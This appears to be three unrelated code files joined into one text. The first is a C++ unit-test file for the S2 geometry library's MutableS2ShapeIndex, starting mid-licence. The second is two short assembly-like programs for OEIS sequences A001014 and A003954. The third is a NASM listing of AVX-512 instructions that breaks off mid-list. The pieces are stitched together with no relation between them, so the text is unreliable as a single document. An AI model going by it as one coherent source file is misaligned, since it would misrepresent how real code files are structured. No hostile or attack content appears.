// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS-IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
// Author: ericv@google.com (Eric Veach)
#include "s2/mutable_s2shape_index.h"
#include <functional>
#include <memory>
#include <numeric>
#include <string>
#include <thread>
#include <vector>
#include <gflags/gflags.h>
#include <gtest/gtest.h>
#include "s2/base/mutex.h"
#include "s2/r2.h"
#include "s2/r2rect.h"
#include "s2/s1angle.h"
#include "s2/s2cap.h"
#include "s2/s2cell.h"
#include "s2/s2cell_id.h"
#include "s2/s2cell_union.h"
#include "s2/s2debug.h"
#include "s2/s2edge_clipping.h"
#include "s2/s2edge_crosser.h"
#include "s2/s2edge_vector_shape.h"
#include "s2/s2error.h"
#include "s2/s2loop.h"
#include "s2/s2pointutil.h"
#include "s2/s2polygon.h"
#include "s2/s2shapeutil_contains_brute_force.h"
#include "s2/s2shapeutil_visit_crossing_edge_pairs.h"
#include "s2/s2testing.h"
#include "s2/s2text_format.h"
#include "s2/third_party/absl/memory/memory.h"
using absl::WrapUnique;
using absl::make_unique;
using s2textformat::MakePolyline;
using std::unique_ptr;
using std::vector;
class MutableS2ShapeIndexTest : public ::testing::Test {
protected:
// This test harness owns a MutableS2ShapeIndex for convenience.
MutableS2ShapeIndex index_;
// Verify that that every cell of the index contains the correct edges, and
// that no cells are missing from the index. The running time of this
// function is quadratic in the number of edges.
void QuadraticValidate();
// Given an edge and a cell id, determine whether or not the edge should be
// present in that cell and verify that this matches "index_has_edge".
void ValidateEdge(const S2Point& a, const S2Point& b,
S2CellId id, bool index_has_edge);
// Given a shape and a cell id, determine whether or not the shape contains
// the cell center and verify that this matches "index_contains_center".
void ValidateInterior(const S2Shape* shape, S2CellId id,
bool index_contains_center);
};
void MutableS2ShapeIndexTest::QuadraticValidate() {
// Iterate through a sequence of nonoverlapping cell ids that cover the
// sphere and include as a subset all the cell ids used in the index. For
// each cell id, verify that the expected set of edges is present.
// "min_cellid" is the first S2CellId that has not been validated yet.
S2CellId min_cellid = S2CellId::Begin(S2CellId::kMaxLevel);
for (MutableS2ShapeIndex::Iterator it(&index_, S2ShapeIndex::BEGIN);
; it.Next()) {
// Generate a list of S2CellIds ("skipped cells") that cover the gap
// between the last cell we validated and the next cell in the index.
S2CellUnion skipped;
if (!it.done()) {
S2CellId cellid = it.id();
EXPECT_GE(cellid, min_cellid);
skipped.InitFromBeginEnd(min_cellid, cellid.range_min());
min_cellid = cellid.range_max().next();
} else {
// Validate the empty cells beyond the last cell in the index.
skipped.InitFromBeginEnd(min_cellid, S2CellId::End(S2CellId::kMaxLevel));
}
// Iterate through all the shapes, simultaneously validating the current
// index cell and all the skipped cells.
int short_edges = 0; // number of edges counted toward subdivision
for (int id = 0; id < index_.num_shape_ids(); ++id) {
const S2Shape* shape = index_.shape(id);
const S2ClippedShape* clipped = nullptr;
if (!it.done()) clipped = it.cell().find_clipped(id);
// First check that contains_center() is set correctly.
for (S2CellId skipped_id : skipped) {
ValidateInterior(shape, skipped_id, false);
}
if (!it.done()) {
bool contains_center = clipped && clipped->contains_center();
ValidateInterior(shape, it.id(), contains_center);
}
// If this shape has been released, it should not be present at all.
if (shape == nullptr) {
EXPECT_EQ(nullptr, clipped);
continue;
}
// Otherwise check that the appropriate edges are present.
for (int e = 0; e < shape->num_edges(); ++e) {
auto edge = shape->edge(e);
for (int j = 0; j < skipped.num_cells(); ++j) {
ValidateEdge(edge.v0, edge.v1, skipped.cell_id(j), false);
}
if (!it.done()) {
bool has_edge = clipped && clipped->ContainsEdge(e);
ValidateEdge(edge.v0, edge.v1, it.id(), has_edge);
int max_level = index_.GetEdgeMaxLevel(edge);
if (has_edge && it.id().level() < max_level) {
++short_edges;
}
}
}
}
EXPECT_LE(short_edges, index_.options().max_edges_per_cell());
if (it.done()) break;
}
}
// Verify that "index_has_edge" is true if and only if the edge AB intersects
// the given cell id.
void MutableS2ShapeIndexTest::ValidateEdge(const S2Point& a, const S2Point& b,
S2CellId id, bool index_has_edge) {
// Expand or shrink the padding slightly to account for errors in the
// function we use to test for intersection (IntersectsRect).
double padding = MutableS2ShapeIndex::kCellPadding;
padding += (index_has_edge ? 1 : -1) * S2::kIntersectsRectErrorUVDist;
R2Rect bound = id.GetBoundUV().Expanded(padding);
R2Point a_uv, b_uv;
EXPECT_EQ(S2::ClipToPaddedFace(a, b, id.face(), padding, &a_uv, &b_uv)
&& S2::IntersectsRect(a_uv, b_uv, bound),
index_has_edge);
}
void MutableS2ShapeIndexTest::ValidateInterior(
const S2Shape* shape, S2CellId id, bool index_contains_center) {
if (shape == nullptr) {
EXPECT_FALSE(index_contains_center);
} else {
EXPECT_EQ(s2shapeutil::ContainsBruteForce(*shape, id.ToPoint()),
index_contains_center);
}
}
namespace {
void TestIteratorMethods(const MutableS2ShapeIndex& index) {
MutableS2ShapeIndex::Iterator it(&index, S2ShapeIndex::BEGIN);
EXPECT_FALSE(it.Prev());
it.Finish();
EXPECT_TRUE(it.done());
vector<S2CellId> ids;
MutableS2ShapeIndex::Iterator it2(&index);
S2CellId min_cellid = S2CellId::Begin(S2CellId::kMaxLevel);
for (it.Begin(); !it.done(); it.Next()) {
S2CellId cellid = it.id();
auto skipped = S2CellUnion::FromBeginEnd(min_cellid, cellid.range_min());
for (S2CellId skipped_id : skipped) {
EXPECT_FALSE(it2.Locate(skipped_id.ToPoint()));
EXPECT_EQ(S2ShapeIndex::DISJOINT, it2.Locate(skipped_id));
it2.Begin();
it2.Seek(skipped_id);
EXPECT_EQ(cellid, it2.id());
}
if (!ids.empty()) {
it2 = it;
EXPECT_TRUE(it2.Prev());
EXPECT_EQ(ids.back(), it2.id());
it2.Next();
EXPECT_EQ(cellid, it2.id());
it2.Seek(ids.back());
EXPECT_EQ(ids.back(), it2.id());
}
it2.Begin();
EXPECT_EQ(cellid.ToPoint(), it.center());
EXPECT_TRUE(it2.Locate(it.center()));
EXPECT_EQ(cellid, it2.id());
it2.Begin();
EXPECT_EQ(S2ShapeIndex::INDEXED, it2.Locate(cellid));
EXPECT_EQ(cellid, it2.id());
if (!cellid.is_face()) {
it2.Begin();
EXPECT_EQ(S2ShapeIndex::SUBDIVIDED, it2.Locate(cellid.parent()));
EXPECT_LE(it2.id(), cellid);
EXPECT_GE(it2.id(), cellid.parent().range_min());
}
if (!cellid.is_leaf()) {
for (int i = 0; i < 4; ++i) {
it2.Begin();
EXPECT_EQ(S2ShapeIndex::INDEXED, it2.Locate(cellid.child(i)));
EXPECT_EQ(cellid, it2.id());
}
}
ids.push_back(cellid);
min_cellid = cellid.range_max().next();
}
}
TEST_F(MutableS2ShapeIndexTest, SpaceUsed) {
index_.Add(make_unique<S2EdgeVectorShape>(S2Point(1, 0, 0),
S2Point(0, 1, 0)));
EXPECT_FALSE(index_.is_fresh());
size_t size_before = index_.SpaceUsed();
EXPECT_FALSE(index_.is_fresh());
QuadraticValidate();
size_t size_after = index_.SpaceUsed();
EXPECT_TRUE(index_.is_fresh());
EXPECT_TRUE(size_after > size_before);
}
TEST_F(MutableS2ShapeIndexTest, NoEdges) {
MutableS2ShapeIndex::Iterator it(&index_, S2ShapeIndex::BEGIN);
EXPECT_TRUE(it.done());
TestIteratorMethods(index_);
}
TEST_F(MutableS2ShapeIndexTest, OneEdge) {
EXPECT_EQ(0, index_.Add(make_unique<S2EdgeVectorShape>(S2Point(1, 0, 0),
S2Point(0, 1, 0))));
QuadraticValidate();
TestIteratorMethods(index_);
}
TEST_F(MutableS2ShapeIndexTest, ShrinkToFitOptimization) {
// This used to trigger a bug in the ShrinkToFit optimization. The loop
// below contains almost all of face 0 except for a small region in the
// 0/00000 subcell. That subcell is the only one that contains any edges.
// This caused the index to be built only in that subcell. However, all the
// other cells on that face should also have index entries, in order to
// indicate that they are contained by the loop.
unique_ptr<S2Loop> loop(S2Loop::MakeRegularLoop(
S2Point(1, 0.5, 0.5).Normalize(), S1Angle::Degrees(89), 100));
index_.Add(make_unique<S2Loop::Shape>(loop.get()));
QuadraticValidate();
}
TEST_F(MutableS2ShapeIndexTest, LoopsSpanningThreeFaces) {
S2Polygon polygon;
const int kNumEdges = 100; // Validation is quadratic
// Construct two loops consisting of kNumEdges vertices each, centered
// around the cube vertex at the start of the Hilbert curve.
S2Testing::ConcentricLoopsPolygon(S2Point(1, -1, -1).Normalize(), 2,
kNumEdges, &polygon);
vector<unique_ptr<S2Loop>> loops = polygon.Release();
for (auto& loop : loops) {
index_.Add(make_unique<S2Loop::Shape>(&*loop));
}
QuadraticValidate();
TestIteratorMethods(index_);
}
TEST_F(MutableS2ShapeIndexTest, ManyIdenticalEdges) {
const int kNumEdges = 100; // Validation is quadratic
S2Point a = S2Point(0.99, 0.99, 1).Normalize();
S2Point b = S2Point(-0.99, -0.99, 1).Normalize();
for (int i = 0; i < kNumEdges; ++i) {
EXPECT_EQ(i, index_.Add(make_unique<S2EdgeVectorShape>(a, b)));
}
QuadraticValidate();
TestIteratorMethods(index_);
// Since all edges span the diagonal of a face, no subdivision should
// have occurred (with the default index options).
for (MutableS2ShapeIndex::Iterator it(&index_, S2ShapeIndex::BEGIN);
!it.done(); it.Next()) {
EXPECT_EQ(0, it.id().level());
}
}
TEST_F(MutableS2ShapeIndexTest, DegenerateEdge) {
// This test verifies that degenerate edges are supported. The following
// point is a cube face vertex, and so it should be indexed in 3 cells.
S2Point a = S2Point(1, 1, 1).Normalize();
auto shape = make_unique<S2EdgeVectorShape>();
shape->Add(a, a);
index_.Add(std::move(shape));
QuadraticValidate();
// Check that exactly 3 index cells contain the degenerate edge.
int count = 0;
for (MutableS2ShapeIndex::Iterator it(&index_, S2ShapeIndex::BEGIN);
!it.done(); it.Next(), ++count) {
EXPECT_TRUE(it.id().is_leaf());
EXPECT_EQ(1, it.cell().num_clipped());
EXPECT_EQ(1, it.cell().clipped(0).num_edges());
}
EXPECT_EQ(3, count);
}
TEST_F(MutableS2ShapeIndexTest, ManyTinyEdges) {
// This test adds many edges to a single leaf cell, to check that
// subdivision stops when no further subdivision is possible.
const int kNumEdges = 100; // Validation is quadratic
// Construct two points in the same leaf cell.
S2Point a = S2CellId(S2Point(1, 0, 0)).ToPoint();
S2Point b = (a + S2Point(0, 1e-12, 0)).Normalize();
auto shape = make_unique<S2EdgeVectorShape>();
for (int i = 0; i < kNumEdges; ++i) {
shape->Add(a, b);
}
index_.Add(std::move(shape));
QuadraticValidate();
// Check that there is exactly one index cell and that it is a leaf cell.
MutableS2ShapeIndex::Iterator it(&index_, S2ShapeIndex::BEGIN);
ASSERT_TRUE(!it.done());
EXPECT_TRUE(it.id().is_leaf());
it.Next();
EXPECT_TRUE(it.done());
}
TEST_F(MutableS2ShapeIndexTest, SimpleUpdates) {
// Add 5 loops one at a time, then release them one at a time,
// validating the index at each step.
S2Polygon polygon;
S2Testing::ConcentricLoopsPolygon(S2Point(1, 0, 0), 5, 20, &polygon);
for (int i = 0; i < polygon.num_loops(); ++i) {
index_.Add(make_unique<S2Loop::Shape>(polygon.loop(i)));
QuadraticValidate();
}
for (int id = 0; id < polygon.num_loops(); ++id) {
index_.Release(id);
QuadraticValidate();
}
}
TEST_F(MutableS2ShapeIndexTest, RandomUpdates) {
// Allow the seed to be varied from the command line.
S2Testing::rnd.Reset(FLAGS_s2_random_seed);
// A few polylines.
index_.Add(make_unique<S2Polyline::OwningShape>(
MakePolyline("0:0, 2:1, 0:2, 2:3, 0:4, 2:5, 0:6")));
index_.Add(make_unique<S2Polyline::OwningShape>(
MakePolyline("1:0, 3:1, 1:2, 3:3, 1:4, 3:5, 1:6")));
index_.Add(make_unique<S2Polyline::OwningShape>(
MakePolyline("2:0, 4:1, 2:2, 4:3, 2:4, 4:5, 2:6")));
// A loop that used to trigger an indexing bug.
index_.Add(make_unique<S2Loop::OwningShape>(S2Loop::MakeRegularLoop(
S2Point(1, 0.5, 0.5).Normalize(), S1Angle::Degrees(89), 20)));
// Five concentric loops.
S2Polygon polygon5;
S2Testing::ConcentricLoopsPolygon(S2Point(1, -1, -1).Normalize(),
5, 20, &polygon5);
for (int i = 0; i < polygon5.num_loops(); ++i) {
index_.Add(make_unique<S2Loop::Shape>(polygon5.loop(i)));
}
// Two clockwise loops around S2Cell cube vertices.
index_.Add(make_unique<S2Loop::OwningShape>(S2Loop::MakeRegularLoop(
S2Point(-1, 1, 1).Normalize(), S1Angle::Radians(M_PI - 0.001), 10)));
index_.Add(make_unique<S2Loop::OwningShape>(S2Loop::MakeRegularLoop(
S2Point(-1, -1, -1).Normalize(), S1Angle::Radians(M_PI - 0.001), 10)));
// A shape with no edges and no interior.
index_.Add(make_unique<S2Loop::OwningShape>(
make_unique<S2Loop>(S2Loop::kEmpty())));
// A shape with no edges that covers the entire sphere.
index_.Add(make_unique<S2Loop::OwningShape>(
make_unique<S2Loop>(S2Loop::kFull())));
vector<unique_ptr<S2Shape>> released;
vector<int> added(index_.num_shape_ids());
std::iota(added.begin(), added.end(), 0);
QuadraticValidate();
for (int iter = 0; iter < 100; ++iter) {
S2_VLOG(1) << "Iteration: " << iter;
// Choose some shapes to add and release.
int num_updates = 1 + S2Testing::rnd.Skewed(5);
for (int n = 0; n < num_updates; ++n) {
if (S2Testing::rnd.OneIn(2) && !added.empty()) {
int i = S2Testing::rnd.Uniform(added.size());
S2_VLOG(1) << " Released shape " << added[i]
<< " (" << index_.shape(added[i]) << ")";
released.push_back(index_.Release(added[i]));
added.erase(added.begin() + i);
} else if (!released.empty()) {
int i = S2Testing::rnd.Uniform(released.size());
S2Shape* shape = released[i].get();
index_.Add(std::move(released[i])); // Changes shape->id().
released.erase(released.begin() + i);
added.push_back(shape->id());
S2_VLOG(1) << " Added shape " << shape->id()
<< " (" << shape << ")";
}
}
QuadraticValidate();
}
}
// Return true if any loop crosses any other loop (including vertex crossings
// and duplicate edges), or any loop has a self-intersection (including
// duplicate vertices).
static bool HasSelfIntersection(const MutableS2ShapeIndex& index) {
S2Error error;
if (s2shapeutil::FindSelfIntersection(index, &error)) {
S2_VLOG(1) << error;
return true;
}
return false;
}
// This function recursively verifies that HasCrossing returns the given
// result for all possible cyclic permutations of the loop vertices for the
// given set of loops.
void TestHasCrossingPermutations(vector<unique_ptr<S2Loop>>* loops, int i,
bool has_crossing) {
if (i == loops->size()) {
MutableS2ShapeIndex index;
S2Polygon polygon(std::move(*loops));
index.Add(make_unique<S2Polygon::Shape>(&polygon));
EXPECT_EQ(has_crossing, HasSelfIntersection(index));
*loops = polygon.Release();
} else {
unique_ptr<S2Loop> orig_loop = std::move((*loops)[i]);
for (int j = 0; j < orig_loop->num_vertices(); ++j) {
vector<S2Point> vertices;
for (int k = 0; k < orig_loop->num_vertices(); ++k) {
vertices.push_back(orig_loop->vertex(j + k));
}
(*loops)[i] = make_unique<S2Loop>(vertices);
TestHasCrossingPermutations(loops, i+1, has_crossing);
}
(*loops)[i] = std::move(orig_loop);
}
}
// Given a string reprsenting a polygon, and a boolean indicating whether this
// polygon has any self-intersections or loop crossings, verify that all
// HasSelfIntersection returns the expected result for all possible cyclic
// permutations of the loop vertices.
void TestHasCrossing(const string& polygon_str, bool has_crossing) {
google::FlagSaver flag_saver;
FLAGS_s2debug = false; // Allow invalid polygons (restored by gUnit)
unique_ptr<S2Polygon> polygon(s2textformat::MakePolygon(polygon_str));
vector<unique_ptr<S2Loop>> loops = polygon->Release();
TestHasCrossingPermutations(&loops, 0, has_crossing);
}
TEST_F(MutableS2ShapeIndexTest, HasCrossing) {
// Coordinates are (lat,lng), which can be visualized as (y,x).
TestHasCrossing("0:0, 0:1, 0:2, 1:2, 1:1, 1:0", false);
TestHasCrossing("0:0, 0:1, 0:2, 1:2, 0:1, 1:0", true); // duplicate vertex
TestHasCrossing("0:0, 0:1, 1:0, 1:1", true); // edge crossing
TestHasCrossing("0:0, 1:1, 0:1; 0:0, 1:1, 1:0", true); // duplicate edge
TestHasCrossing("0:0, 1:1, 0:1; 1:1, 0:0, 1:0", true); // reversed edge
TestHasCrossing("0:0, 0:2, 2:2, 2:0; 1:1, 0:2, 3:1, 2:0",
true); // vertex crossing
}
// A test that repeatedly updates "index_" in one thread and attempts to
// concurrently read the index_ from several other threads. When all threads
// have finished reading, the first thread makes another update.
//
// Note that we only test concurrent read access, since MutableS2ShapeIndex
// requires all updates to be single-threaded and not concurrent with any
// reads.
class LazyUpdatesTest : public ::testing::Test {
public:
LazyUpdatesTest() : num_updates_(0), num_readers_left_(0) {
}
// The function executed by each reader thread.
void ReaderThread();
protected:
class ReaderThreadPool {
public:
ReaderThreadPool(LazyUpdatesTest* test, int num_threads)
: threads_(make_unique<std::thread[]>(num_threads)),
num_threads_(num_threads) {
for (int i = 0; i < num_threads_; ++i) {
threads_[i] = std::thread(&LazyUpdatesTest::ReaderThread, test);
}
}
~ReaderThreadPool() {
for (int i = 0; i < num_threads_; ++i) threads_[i].join();
}
private:
unique_ptr<std::thread[]> threads_;
int num_threads_;
};
MutableS2ShapeIndex index_;
// The following fields are guarded by lock_.
Mutex lock_;
int num_updates_;
int num_readers_left_;
// Signalled when a new update is ready to be processed.
CondVar update_ready_;
// Signalled when all readers have processed the latest update.
CondVar all_readers_done_;
};
void LazyUpdatesTest::ReaderThread() {
lock_.Lock();
for (int last_update = 0; ; last_update = num_updates_) {
while (num_updates_ == last_update) {
update_ready_.Wait(&lock_);
}
if (num_updates_ < 0) break;
// The index is built on demand the first time we attempt to use it.
// We intentionally release the lock so that many threads have a chance
// to access the MutableS2ShapeIndex in parallel.
lock_.Unlock();
for (MutableS2ShapeIndex::Iterator it(&index_, S2ShapeIndex::BEGIN);
!it.done(); it.Next()) {
continue;
}
lock_.Lock();
if (--num_readers_left_ == 0) {
all_readers_done_.Signal();
}
}
lock_.Unlock();
}
TEST_F(LazyUpdatesTest, ConstMethodsThreadSafe) {
// Ensure that lazy updates are thread-safe. In other words, make sure that
// nothing bad happens when multiple threads call "const" methods that
// cause pending updates to be applied.
// The number of readers should be large enough so that it is likely that
// several readers will be running at once (with a multiple-core CPU).
const int kNumReaders = 8;
ReaderThreadPool pool(this, kNumReaders);
lock_.Lock();
const int kIters = 100;
for (int iter = 0; iter < kIters; ++iter) {
// Loop invariant: lock_ is held and num_readers_left_ == 0.
S2_DCHECK_EQ(0, num_readers_left_);
// Since there are no readers, it is safe to modify the index.
index_.Clear();
int num_vertices = 4 * S2Testing::rnd.Skewed(10); // Up to 4K vertices
unique_ptr<S2Loop> loop(S2Loop::MakeRegularLoop(
S2Testing::RandomPoint(), S2Testing::KmToAngle(5), num_vertices));
index_.Add(make_unique<S2Loop::Shape>(loop.get()));
num_readers_left_ = kNumReaders;
++num_updates_;
update_ready_.SignalAll();
while (num_readers_left_ > 0) {
all_readers_done_.Wait(&lock_);
}
}
// Signal the readers to exit.
num_updates_ = -1;
update_ready_.SignalAll();
lock_.Unlock();
// ReaderThreadPool destructor waits for all threads to complete.
}
TEST(MutableS2ShapeIndex, MixedGeometry) {
// This test used to trigger a bug where the presence of a shape with an
// interior could cause shapes that don't have an interior to suddenly
// acquire one. This would cause extra S2ShapeIndex cells to be created
// that are outside the bounds of the given geometry.
vector<unique_ptr<S2Polyline>> polylines;
polylines.push_back(MakePolyline("0:0, 2:1, 0:2, 2:3, 0:4, 2:5, 0:6"));
polylines.push_back(MakePolyline("1:0, 3:1, 1:2, 3:3, 1:4, 3:5, 1:6"));
polylines.push_back(MakePolyline("2:0, 4:1, 2:2, 4:3, 2:4, 4:5, 2:6"));
MutableS2ShapeIndex index;
for (auto& polyline : polylines) {
index.Add(make_unique<S2Polyline::OwningShape>(std::move(polyline)));
}
S2Loop loop(S2Cell(S2CellId::Begin(S2CellId::kMaxLevel)));
index.Add(make_unique<S2Loop::Shape>(&loop));
MutableS2ShapeIndex::Iterator it(&index);
// No geometry intersects face 1, so there should be no index cells there.
EXPECT_EQ(S2ShapeIndex::DISJOINT, it.Locate(S2CellId::FromFace(1)));
}
TEST(S2Shape, user_data) {
struct MyData {
int x, y;
MyData(int _x, int _y) : x(_x), y(_y) {}
};
class MyEdgeVectorShape : public S2EdgeVectorShape {
public:
explicit MyEdgeVectorShape(const MyData& data)
: S2EdgeVectorShape(), data_(data) {
}
const void* user_data() const override { return &data_; }
void* mutable_user_data() override { return &data_; }
private:
MyData data_;
};
MyEdgeVectorShape shape(MyData(3, 5));
MyData* data = static_cast<MyData*>(shape.mutable_user_data());
S2_DCHECK_EQ(3, data->x);
data->y = 10;
S2_DCHECK_EQ(10, static_cast<const MyData*>(shape.user_data())->y);
}
} // namespace
|
; A001014: Sixth powers: a(n) = n^6.
; 0,1,64,729,4096,15625,46656,117649,262144,531441,1000000,1771561,2985984,4826809,7529536,11390625,16777216,24137569,34012224,47045881,64000000,85766121,113379904,148035889,191102976,244140625,308915776,387420489,481890304,594823321,729000000,887503681,1073741824,1291467969,1544804416,1838265625,2176782336,2565726409,3010936384,3518743761,4096000000,4750104241,5489031744,6321363049,7256313856,8303765625,9474296896,10779215329,12230590464,13841287201,15625000000,17596287801,19770609664,22164361129,24794911296,27680640625,30840979456,34296447249,38068692544,42180533641,46656000000,51520374361,56800235584,62523502209,68719476736,75418890625,82653950016,90458382169,98867482624,107918163081,117649000000,128100283921,139314069504,151334226289,164206490176,177978515625,192699928576,208422380089,225199600704,243087455521,262144000000,282429536481,304006671424,326940373369,351298031616,377149515625,404567235136,433626201009,464404086784,496981290961,531441000000,567869252041,606355001344,646990183449,689869781056,735091890625,782757789696,832972004929,885842380864,941480149401
pow $0,6
|
; A003954: Expansion of g.f.: (1+x)/(1-11*x).
; 1,12,132,1452,15972,175692,1932612,21258732,233846052,2572306572,28295372292,311249095212,3423740047332,37661140520652,414272545727172,4556998002998892,50126978032987812,551396758362865932,6065364341991525252,66719007761906777772,733909085380974555492,8072999939190720110412,88802999331097921214532,976832992642077133359852,10745162919062848466958372,118196792109691333136542092,1300164713206604664501963012,14301811845272651309521593132,157319930297999164404737524452,1730519233277990808452112768972,19035711566057898892973240458692,209392827226636887822705645045612,2303321099493005766049762095501732,25336532094423063426547383050519052,278701853038653697692021213555709572
mov $1,11
pow $1,$0
sub $1,1
mul $1,12
add $1,10
div $1,11
add $1,1
mov $0,$1
|
bits 64
kandnw k3, k7, k1
kandw k3, k7, k1
kmovw k3, [rbx]
kmovw k3, [rbx+rsi*8+256]
kmovw k3, [rbx+rsi*8-256]
kmovw k3, k1
kmovw k3, [rbx]
kmovw [rbx], k3
kmovw [rbx+rsi*8+256], k3
kmovw [rbx+rsi*8-256], k3
kmovw k3, ecx
kmovw ecx, k1
knotw k3, k1
kortestw k3, k1
korw k3, k7, k1
kshiftlw k3, k1, 10
kshiftrw k3, k1, 10
kunpckbw k3, k7, k1
kxnorw k3, k7, k1
kxorw k3, k7, k1
vaddpd xmm2, xmm7, xmm0
vaddpd xmm2, xmm7, [rbx]
vaddpd xmm2, xmm7, [rbx]{1to2}
vaddpd xmm2, xmm7, [rbx+r11*8+256]
vaddpd xmm2, xmm7, [rbx+r11*8-256]
vaddpd xmm2{k5}, xmm7, xmm0
vaddpd xmm2{k5}, xmm7, [rbx]
vaddpd xmm2{k5}, xmm7, [rbx]{1to2}
vaddpd xmm2{k5}, xmm7, [rbx+r11*8+256]
vaddpd xmm2{k5}, xmm7, [rbx+r11*8-256]
vaddpd xmm2{k5}{z}, xmm7, xmm0
vaddpd xmm2{k5}{z}, xmm7, [rbx]
vaddpd xmm2{k5}{z}, xmm7, [rbx]{1to2}
vaddpd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vaddpd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vaddpd ymm16, ymm13, ymm15
vaddpd ymm16, ymm13, [rbx]
vaddpd ymm16, ymm13, [rbx]{1to4}
vaddpd ymm16, ymm13, [rbx+r11*8+256]
vaddpd ymm16, ymm13, [rbx+r11*8-256]
vaddpd ymm16{k5}, ymm13, ymm15
vaddpd ymm16{k5}, ymm13, [rbx]
vaddpd ymm16{k5}, ymm13, [rbx]{1to4}
vaddpd ymm16{k5}, ymm13, [rbx+r11*8+256]
vaddpd ymm16{k5}, ymm13, [rbx+r11*8-256]
vaddpd ymm16{k5}{z}, ymm13, ymm15
vaddpd ymm16{k5}{z}, ymm13, [rbx]
vaddpd ymm16{k5}{z}, ymm13, [rbx]{1to4}
vaddpd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vaddpd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vaddpd zmm24, zmm24, zmm31
vaddpd zmm24, zmm24, zmm31, {rd-sae}
vaddpd zmm24, zmm24, [rbx]
vaddpd zmm24, zmm24, [rbx]{1to8}
vaddpd zmm24, zmm24, [rbx+r11*8+256]
vaddpd zmm24, zmm24, [rbx+r11*8-256]
vaddpd zmm24{k5}, zmm24, zmm31
vaddpd zmm24{k5}, zmm24, zmm31, {rd-sae}
vaddpd zmm24{k5}, zmm24, [rbx]
vaddpd zmm24{k5}, zmm24, [rbx]{1to8}
vaddpd zmm24{k5}, zmm24, [rbx+r11*8+256]
vaddpd zmm24{k5}, zmm24, [rbx+r11*8-256]
vaddpd zmm24{k5}{z}, zmm24, zmm31
vaddpd zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vaddpd zmm24{k5}{z}, zmm24, [rbx]
vaddpd zmm24{k5}{z}, zmm24, [rbx]{1to8}
vaddpd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vaddpd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vaddps xmm2, xmm7, xmm0
vaddps xmm2, xmm7, [rbx]
vaddps xmm2, xmm7, [rbx]{1to4}
vaddps xmm2, xmm7, [rbx+r11*8+256]
vaddps xmm2, xmm7, [rbx+r11*8-256]
vaddps xmm2{k5}, xmm7, xmm0
vaddps xmm2{k5}, xmm7, [rbx]
vaddps xmm2{k5}, xmm7, [rbx]{1to4}
vaddps xmm2{k5}, xmm7, [rbx+r11*8+256]
vaddps xmm2{k5}, xmm7, [rbx+r11*8-256]
vaddps xmm2{k5}{z}, xmm7, xmm0
vaddps xmm2{k5}{z}, xmm7, [rbx]
vaddps xmm2{k5}{z}, xmm7, [rbx]{1to4}
vaddps xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vaddps xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vaddps ymm16, ymm13, ymm15
vaddps ymm16, ymm13, [rbx]
vaddps ymm16, ymm13, [rbx]{1to8}
vaddps ymm16, ymm13, [rbx+r11*8+256]
vaddps ymm16, ymm13, [rbx+r11*8-256]
vaddps ymm16{k5}, ymm13, ymm15
vaddps ymm16{k5}, ymm13, [rbx]
vaddps ymm16{k5}, ymm13, [rbx]{1to8}
vaddps ymm16{k5}, ymm13, [rbx+r11*8+256]
vaddps ymm16{k5}, ymm13, [rbx+r11*8-256]
vaddps ymm16{k5}{z}, ymm13, ymm15
vaddps ymm16{k5}{z}, ymm13, [rbx]
vaddps ymm16{k5}{z}, ymm13, [rbx]{1to8}
vaddps ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vaddps ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vaddps zmm24, zmm24, zmm31
vaddps zmm24, zmm24, zmm31, {rd-sae}
vaddps zmm24, zmm24, [rbx]
vaddps zmm24, zmm24, [rbx]{1to16}
vaddps zmm24, zmm24, [rbx+r11*8+256]
vaddps zmm24, zmm24, [rbx+r11*8-256]
vaddps zmm24{k5}, zmm24, zmm31
vaddps zmm24{k5}, zmm24, zmm31, {rd-sae}
vaddps zmm24{k5}, zmm24, [rbx]
vaddps zmm24{k5}, zmm24, [rbx]{1to16}
vaddps zmm24{k5}, zmm24, [rbx+r11*8+256]
vaddps zmm24{k5}, zmm24, [rbx+r11*8-256]
vaddps zmm24{k5}{z}, zmm24, zmm31
vaddps zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vaddps zmm24{k5}{z}, zmm24, [rbx]
vaddps zmm24{k5}{z}, zmm24, [rbx]{1to16}
vaddps zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vaddps zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vaddsd xmm2, xmm7, xmm0
vaddsd xmm2, xmm7, xmm0, {rd-sae}
vaddsd xmm2, xmm7, [rbx]
vaddsd xmm2, xmm7, [rbx+r11*8+256]
vaddsd xmm2, xmm7, [rbx+r11*8-256]
vaddsd xmm2{k5}, xmm7, xmm0
vaddsd xmm2{k5}, xmm7, xmm0, {rd-sae}
vaddsd xmm2{k5}, xmm7, [rbx]
vaddsd xmm2{k5}, xmm7, [rbx+r11*8+256]
vaddsd xmm2{k5}, xmm7, [rbx+r11*8-256]
vaddsd xmm2{k5}{z}, xmm7, xmm0
vaddsd xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vaddsd xmm2{k5}{z}, xmm7, [rbx]
vaddsd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vaddsd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vaddss xmm2, xmm7, xmm0
vaddss xmm2, xmm7, xmm0, {rd-sae}
vaddss xmm2, xmm7, [rbx]
vaddss xmm2, xmm7, [rbx+r11*8+256]
vaddss xmm2, xmm7, [rbx+r11*8-256]
vaddss xmm2{k5}, xmm7, xmm0
vaddss xmm2{k5}, xmm7, xmm0, {rd-sae}
vaddss xmm2{k5}, xmm7, [rbx]
vaddss xmm2{k5}, xmm7, [rbx+r11*8+256]
vaddss xmm2{k5}, xmm7, [rbx+r11*8-256]
vaddss xmm2{k5}{z}, xmm7, xmm0
